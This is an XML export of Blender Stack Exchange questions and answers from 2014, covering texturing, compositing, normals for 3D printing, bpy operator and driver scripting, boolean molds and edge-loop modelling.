  <row Id="15527" PostTypeId="2" ParentId="734" CreationDate="2014-09-03T13:42:57.590" Score="18" Body="&lt;p&gt;Another thing that you can do is - In Edit mode hit &lt;kbd&gt;W&lt;/kbd&gt;  and there you have &lt;em&gt;Shade Flat&lt;/em&gt; and &lt;em&gt;Shade Smooth&lt;/em&gt; You can just select the parts of your object that you want them to be smooth and press on &lt;em&gt;Shade Smooth&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3yXjm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Under 2.8+ this is accessible through both &lt;em&gt;Edit Mode&lt;/em&gt; and &lt;em&gt;Object Mode&lt;/em&gt; &lt;kbd&gt;Right Click&lt;/kbd&gt; context menu.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="19307" LastEditDate="2020-11-30T12:55:10.640" LastActivityDate="2020-11-30T12:55:10.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15528" PostTypeId="1" AcceptedAnswerId="15529" CreationDate="2014-09-03T14:54:59.853" Score="0" ViewCount="2169" Body="&lt;p&gt;I have a model of the TARDIS from the TV series 'Doctor Who' and I'm trying to apply a UV texture to one of the panels. In the 3D view it looks like I want it to. (if you ignore the pink textures)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;The correct mapping in viewport&lt;/sub&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/feWC4.png&quot; alt=&quot;The correct mapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, when I render it, the UV texture becomes distorted like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eN3f5.png&quot; alt=&quot;The distorted render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This part is important:&lt;/strong&gt; I got this model from the internet and I don't know how the textures were applied to the model (I know it isn't UV mapping) and UV mapping is the only texturing method I know in Blender. There was originally a texture on that panel but I wanted to swap it for a better one (the one I am applying now)&lt;/p&gt;&#xA;" OwnerUserId="5892" LastEditorUserId="2217" LastEditDate="2014-09-03T15:32:11.373" LastActivityDate="2014-09-03T15:32:11.373" Title="UV Textures being distorted on rendering" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-09-04T01:22:51.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="15529" PostTypeId="2" ParentId="15528" CreationDate="2014-09-03T15:08:43.467" Score="2" Body="&lt;p&gt;Your problem appears to be the UV coordinates you have assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your &quot;Panel&quot; material. Click the textures tab. Scroll down to &quot;Mapping&quot;. Set coordinates from &quot;Generated&quot; to &quot;UV&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will solve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you generate UV coordinates, you also have to go into the Texture's settings, and say you want to use those UV coordinates to map it, not the default generated coordinates.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2014-09-03T15:15:08.010" LastActivityDate="2014-09-03T15:15:08.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15530" PostTypeId="1" AcceptedAnswerId="15542" CreationDate="2014-09-03T15:14:52.983" Score="3" ViewCount="273" Body="&lt;p&gt;I am compositing a candle and I want apply some effect to only the flame. So I activated the  &lt;em&gt;Emit&lt;/em&gt; pass so it will only be affected, and I applied some glare effects to it.&lt;br&gt;&#xA;My question is how can I combine this &lt;em&gt;Emit&lt;/em&gt; pass with the rest of the image? Secondly what is the correct order of the glaring nodes I mean by types fog, ghosts, ect?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mWYE9.jpg&quot; alt=&quot;compostier&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="2217" LastEditDate="2014-09-03T15:37:11.213" LastActivityDate="2014-09-03T19:54:07.617" Title="How to combine a blurred emit pass with rest of render?" Tags="&lt;rendering&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15531" PostTypeId="2" ParentId="15530" CreationDate="2014-09-03T15:17:33.523" Score="-2" Body="&lt;p&gt;Simple solution is to use Color -&gt; Mix node, set it to add. Plug in the composite image, plus the filtered image. Output it to the viewer and composite output.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-09-03T15:17:33.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15533" PostTypeId="2" ParentId="15530" CreationDate="2014-09-03T15:46:25.453" Score="0" Body="&lt;p&gt;I fix the 1st problem by multiplying the mask of the flames by the original image then add the filtered flames so it will be added to a 0 pixels.but still dont know the 2nd question&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-09-03T15:46:25.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15534" PostTypeId="1" CreationDate="2014-09-03T16:37:28.843" Score="1" ViewCount="88" Body="&lt;p&gt;Has anyone else noticed that selecting an edge loop by &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;RMB&lt;/kbd&gt; on it crashes in version 2.71 on a mac?  Reverted back to 2.7 and it works just fine.&lt;/p&gt;&#xA;" OwnerUserId="5894" LastEditorUserId="599" LastEditDate="2014-09-03T18:32:37.267" LastActivityDate="2014-09-03T18:32:37.267" Title="Selecting loops crashes Blender 2.71 on mac" Tags="&lt;modeling&gt;&lt;osx&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-03T20:03:03.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="15535" PostTypeId="1" AcceptedAnswerId="15536" CreationDate="2014-09-03T17:26:32.303" Score="1" ViewCount="331" Body="&lt;p&gt;PROBLEM SOLVED...THANKS PGMATH FOR THE HELP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm brand new to using Blender, and I'm trying to teach myself some basics to use in conjunction with 3D printing.  To do that I'm trying to 3D print a plate with a logo on it.  However, I'm having an issue with one single letter in the logo showing up as &quot;negative&quot; space after slicing the model in the 3D print software (Repetier-Host).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm lost on why this is happening or where in the process I'm messing up?  The only thing I notice that is strange is that the shadowing for the letter in Blender looks a little different from the surrounding parts (and its more noticeable when input into the print software). In Blender and Repetier-Host that specific letter still looks extruded, even though the shadowing is strange (less shadowing, i guess), and its not until the model gets sliced does it become &quot;negative&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it's not like each letter in the logo was uploaded separately.  The entire logo was a single PNG file originally and converted to a SVG file through Inkscape. So why this specific letter is behaving differently is very confusing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And FYI...when making the file Blender file I appended the logo (previously extruded) with a plate part to create the file full part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have any thoughts or experiences with something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5896" LastEditorUserId="5896" LastEditDate="2014-09-03T18:04:21.557" LastActivityDate="2014-09-03T18:04:21.557" Title="3d printing a part from Blender" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;export&gt;&lt;3d-printing&gt;&lt;append&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-09-04T01:22:16.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="15536" PostTypeId="2" ParentId="15535" CreationDate="2014-09-03T17:40:58.443" Score="1" Body="&lt;p&gt;The part about the shading looking slightly different sounds like the normals are flipped.  To flip a face's normal, select the face(s) in edit mode and hit &lt;kbd&gt;CTRL&lt;/kbd&gt; &lt;kbd&gt;F&lt;/kbd&gt;, then select &lt;em&gt;flip normals&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Faces&quot; rel=&quot;nofollow&quot;&gt;Here is the documentation&lt;/a&gt; on normals, at the bottom of the page.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="527" LastEditDate="2014-09-03T17:59:08.180" LastActivityDate="2014-09-03T17:59:08.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15537" PostTypeId="2" ParentId="15522" CreationDate="2014-09-03T17:47:59.570" Score="3" Body="&lt;p&gt;Pick the effect strip instead of the source strip; then alter its opacity.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-09-03T17:47:59.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15538" PostTypeId="1" AcceptedAnswerId="15539" CreationDate="2014-09-03T17:59:42.740" Score="4" ViewCount="1987" Body="&lt;p&gt;I'm rendering an image with a transparent background, which will eventually be included in a figure with a white background. In the Image Editor, blender displays the transparent regions as a grey/black checkerboard pattern. This is helpful, but I would like to get an idea how my image looks on a white background whenever I re-render.&lt;br&gt;&#xA;Is there anyway to temporarily set the background color of the Image Editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like, and as you can see, it's a little hard to tell if the render would look pretty on a white background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j2x1V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j2x1V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="2217" LastEditDate="2016-02-14T22:31:26.863" LastActivityDate="2016-02-14T22:31:26.863" Title="Change background color in Image Editor for transparent image" Tags="&lt;image&gt;&lt;uv-image-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15539" PostTypeId="2" ParentId="15538" CreationDate="2014-09-03T18:15:40.707" Score="4" Body="&lt;p&gt;Use the &lt;em&gt;Compositor&lt;/em&gt;, with this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/92GIb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just takes the areas with an Alpha value, and replaces them with the color specified in the Alpha Over node.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-03T18:15:40.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15540" PostTypeId="1" AcceptedAnswerId="15541" CreationDate="2014-09-03T18:31:37.483" Score="4" ViewCount="2490" Body="&lt;p&gt;I want to invoke an operator when rendering is finished. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class FooOp(bpy.types.Operator):&#xA;    bl_idname = &quot;development.fooop&quot;&#xA;    bl_label = &quot;Foo&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls,context):&#xA;        return True&#xA;&#xA;    def invoke(self,context,event):&#xA;        self.report({'INFO'},&quot;running FooOp!&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;def make_foo(scene):&#xA;    bpy.ops.development.fooop('INVOKE_DEFAULT')&#xA;&#xA;bpy.app.handlers.render_complete.append(make_foo)&#xA;bpy.utils.register_class(FooOp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When rendering finishes, this error message is printed to the terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/Users/reillyi/Dropbox/blender_dev/addons/render_notification/call_operator.blend/Text&quot;, line 16, in make_foo&#xA;  File &quot;/Applications/Blender/blender.app/Contents/MacOS/2.71/scripts/modules/bpy/ops.py&quot;, line 186, in __call__&#xA;    ret = op_call(self.idname_py(), C_dict, kw, C_exec, C_undo)&#xA;RuntimeError: Operator bpy.ops.development.fooop.poll() Missing 'window' in context&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I replace line 16, calling my FooOp operator, with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_torus_add()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then a torus is created with no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help?&lt;/p&gt;&#xA;" OwnerUserId="5893" LastActivityDate="2014-09-03T19:23:17.267" Title="Calling an Operator from an application handler" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15541" PostTypeId="2" ParentId="15540" CreationDate="2014-09-03T19:13:02.113" Score="4" Body="&lt;p&gt;If you're only going to call this operator from the callback, you don't really need to use an operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the reason that your operator fails is that it doesn't support execution rather than invocation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a method called &lt;code&gt;execute&lt;/code&gt; with &lt;code&gt;(self, context)&lt;/code&gt; as the arguments. If you want to use the &lt;code&gt;invoke()&lt;/code&gt; method's code, just call &lt;code&gt;self.invoke&lt;/code&gt; and pass &lt;code&gt;None&lt;/code&gt; for the event (be careful with this). The &lt;code&gt;execute()&lt;/code&gt; method should return a set for the result just as &lt;code&gt;invoke()&lt;/code&gt; does, so if you're using invoke's body, just return the result of &lt;code&gt;self.invoke(context, None)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, call the operator as &lt;code&gt;'EXEC_DEFAULT'&lt;/code&gt; instead of &lt;code&gt;'INVOKE_DEFAULT'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class FooOp(bpy.types.Operator):&#xA;    bl_idname = &quot;development.fooop&quot;&#xA;    bl_label = &quot;Foo&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls,context):&#xA;        return True&#xA;&#xA;    def execute(self, context):&#xA;        return self.invoke(context, None)&#xA;&#xA;    def invoke(self,context,event):&#xA;        self.report({'INFO'},&quot;running FooOp!&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;def make_foo(scene):&#xA;    bpy.ops.development.fooOp('EXEC_DEFAULT')&#xA;&#xA;&#xA;bpy.app.handlers.render_complete.append(make_foo)&#xA;bpy.utils.register_class(FooOp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="360" LastEditorUserId="1363" LastEditDate="2014-09-03T19:23:17.267" LastActivityDate="2014-09-03T19:23:17.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15542" PostTypeId="2" ParentId="15530" CreationDate="2014-09-03T19:54:07.617" Score="3" Body="&lt;p&gt;I would use &lt;em&gt;add&lt;/em&gt; here.&#xA;When you set the glare nodes to a mix of 1, then they only output the glare, without the original image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the order of the glare nodes, I would apply them all at once.&lt;br&gt;&#xA;By applying them one after the other, the next one includes the effect of the previous one in it's calculation, making the result brighter than it should be (and potentially doing things like putting starbursts on the ghost images..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead apply then all to the same source with a mix of 1, then add them together:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2NKAI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fes7r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-03T19:54:07.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15544" PostTypeId="2" ParentId="15003" CreationDate="2014-09-03T21:37:26.827" Score="1" Body="&lt;p&gt;I SOLVED IT !!! I did another object and again I ran into the same problem. But this time the mesh looked fine from above but completely black from below. I switched from object space to tangent space and after a few hours I decided to play around with the normal map strength and it seems that glass shader doesn´t like normal map values greater than 0.4 and After 0.46 the mesh starts looking completely black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this values are for my particular project.&lt;/p&gt;&#xA;" OwnerUserId="3729" LastActivityDate="2014-09-03T21:37:26.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15546" PostTypeId="1" AcceptedAnswerId="15574" CreationDate="2014-09-04T00:44:23.377" Score="1" ViewCount="238" Body="&lt;p&gt;Can you obtain data from multiple frames without using &lt;code&gt;bpy.context.scene.frame_set()&lt;/code&gt;?&#xA;The above command takes too long on my scene, and I also have too many frames, but I only need to grab one numerical data from each frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this without going to each frame or iteration? I'm specifically interested in grabbing Shape Key value from each frame.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2014-09-04T20:15:16.723" Title="Grab data from every frame with Python API? without using bpy.context.scene.frame_set(frame)" Tags="&lt;python&gt;&lt;shape-keys&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15547" PostTypeId="1" AcceptedAnswerId="15548" CreationDate="2014-09-04T00:44:34.437" Score="3" ViewCount="10376" Body="&lt;p&gt;I am trying to use my 3D Scanner and 3D Printer to make Molding of the objects using non printable materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if I 3D Scan a cup I get an OBJ / STL model ready to work with. But I would like to make a mold of it. Does blender have any resource to &quot;invert&quot; the solid? Then I woul print the mold and pour the material inside this &quot;bucket&quot; of mold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&#xA;Best,&#xA;Rick&lt;/p&gt;&#xA;" OwnerUserId="5897" LastEditorUserId="12" LastEditDate="2014-09-06T00:41:21.237" LastActivityDate="2015-06-01T01:04:28.757" Title="Molding an object - Negative mold" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2014-09-06T00:41:14.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="15548" PostTypeId="2" ParentId="15547" CreationDate="2014-09-04T01:00:56.970" Score="5" Body="&lt;p&gt;Using a boolean modifier to substract one object from another:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original object.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ARN7c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a cube that intersects your original object (this will become your mold).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iqWH3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the cube apply a boolean modifier, choose difference and select the original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dttiH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hide the original object (delete it or move it to another layer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1xgPf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once you are happy with the results you can choose to apply the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: there is also a add on that removes the step of using a modifier. &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/BoolTool&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;. It has it's own tab. Just follow the steps above but instead of using a Boolean modifier use the 'direct' section in the 'booltool' tab, which is on the right side of the 3D view&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2015-06-01T01:04:28.757" LastActivityDate="2015-06-01T01:04:28.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15549" PostTypeId="1" CreationDate="2014-09-04T01:42:39.633" Score="1" ViewCount="247" Body="&lt;p&gt;I just finished an animation where I had the &quot;Inherit Rotation&quot; on the head-bone unchecked because it's easier to animate like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to export the animation and I have a problem: the format I export the animation to doesn't support this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way/a script that can compute keyframes that have to be added/modified to toggle &quot;Inherit Rotation&quot; on without changing the visual transformation of the bone?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-09-04T01:42:39.633" Title="Enable Inherit Rotation but keep visual rotation?" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15550" PostTypeId="1" AcceptedAnswerId="15554" CreationDate="2014-09-04T03:09:59.873" Score="2" ViewCount="803" Body="&lt;p&gt;I have the following code and want to add a driver to the rest length of the stretch to constraint (bone constraint), but the console says that the property path is invalid. What am I doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;armature = Name of my armature&#xA;str(GrpName)+&quot;_bone&quot; = Name of the armatures bone&#xA;&#xA;BaseLenghtDrv = bpy.data.objects[armature].pose.bones[str(GrpName)+&quot;_bone&quot;].driver_add('pose.bones[&quot;'+str(GrpName)+'_bone&quot;].constraints[&quot;Stretch To&quot;].rest_length').driver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code before the &lt;code&gt;driver_add&lt;/code&gt; parentheses is definitely correct, I tested it with the rotation quaternion of the bone and it worked. But it doesn't work with the bone constraint.&lt;/p&gt;&#xA;" OwnerUserId="5885" LastEditorUserId="2217" LastEditDate="2016-02-14T23:11:11.387" LastActivityDate="2016-02-14T23:11:11.387" Title="Creating a driver on a constraint with python?" Tags="&lt;python&gt;&lt;bones&gt;&lt;constraints&gt;&lt;drivers&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15551" PostTypeId="1" AcceptedAnswerId="15566" CreationDate="2014-09-04T07:35:43.993" Score="4" ViewCount="11050" Body="&lt;p&gt;I'm trying to use the center (midpoint) of a particular edge in a mesh as the snap target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two mesh objects. The first has an edge aligned with x axis. The second also has an edge (different length/location) aligned with x axis. I would like to align the two objects constrained to x axis: so that the center of the edge in the first mesh snaps to the center of the edge in the second mesh (see image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F2vKT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this feature a lot in 3DS Max and can't figure out how to do it in Blender. I'm looking for a quick way since I'd really use this a lot. Preferably a way that can be used in object mode as well as in edit mode with an island of faces.&lt;/p&gt;&#xA;" OwnerUserId="5200" LastEditorUserId="5200" LastEditDate="2014-09-04T09:23:40.090" LastActivityDate="2018-06-10T10:51:45.023" Title="Can I snap to the center (midpoint) of an edge?" Tags="&lt;snapping&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15552" PostTypeId="1" CreationDate="2014-09-04T07:51:28.347" Score="1" ViewCount="101" Body="&lt;p&gt;I have a black and white image which serves as a template for my game.&#xA;Non selected country borders are white, and selected country borders should be outlined by solid black lines.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7bvFZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Each country border is represented by a mesh which I position over a country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meshes are created in Blender using BezierCurves and convert to mesh option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create a material in a simple manner, which would make my 2d mesh render as solid black lines, to achieve select/deselect effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite new at Blender and didn't manage to achieve it via FreeStyle component for mesh outlining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Managed to render solid lines in Blender render view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/38PjA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you export your mesh from Blender, is your material exported also?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because when I imported the mesh into Unity, the mesh was not rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meshes without faces aren't visible in Unity, so I expected my material to&#xA;make the mesh visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every advice will be appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CONCLUSION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outline effect can be achieved in Blender relatively easily, but you cannot export&#xA;it in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh must be shaded with a Unity compatible shader and materials used must be built &#xA;inside Unity in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, free version of Unity doesn't allow writing shaders in OpenGL, Unity shader syntax must be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx, everyone!&lt;/p&gt;&#xA;" OwnerUserId="5898" LastEditorUserId="5898" LastEditDate="2014-09-04T20:38:30.063" LastActivityDate="2014-09-04T20:38:30.063" Title="Rendering mesh edges as solid lines" Tags="&lt;rendering&gt;&lt;freestyle&gt;&lt;drawmodes&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-09-05T13:09:00.977" ContentLicense="CC BY-SA 3.0" />
  <row Id="15554" PostTypeId="2" ParentId="15550" CreationDate="2014-09-04T09:37:42.877" Score="2" Body="&lt;p&gt;Add the driver to the object, the data path is relative to that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# We want Object.pose.bones[...].constraints[...].rest_length&#xA;# So use an object and the data_path 'pose.bones[...].constraints[...].rest_length'&#xA;&#xA;BaseLenghtDrv = bpy.data.objects[armature].driver_add('pose.bones[&quot;'+str(GrpName)+'_bone&quot;].constraints[&quot;Stretch To&quot;].rest_length').driver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2014-09-04T20:05:38.147" LastActivityDate="2014-09-04T20:05:38.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15556" PostTypeId="1" AcceptedAnswerId="15557" CreationDate="2014-09-04T13:08:34.950" Score="8" ViewCount="579" Body="&lt;p&gt;I need to create many pairs of edge loops on different objects. The way I do this is shown in the animation below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a further step I often do which is moving the edge loop using its transform value in the properties panel, to ensure they are always same distance apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to add the same number of edge loops again to the side of the original 3 loops?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wMMSB.gif&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-09-04T19:21:19.550" Title="What is the quickest way to add pairs of edge loops?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15557" PostTypeId="2" ParentId="15556" CreationDate="2014-09-04T13:16:01.373" Score="14" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the loops that you want to add loops around with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Right-Click&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; to start beveling&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scroll up on the mouse wheel to increase the segments to 2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/929ck.gif&quot; alt=&quot;bevel loop cuts&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="2217" LastEditDate="2014-09-04T19:21:19.550" LastActivityDate="2014-09-04T19:21:19.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
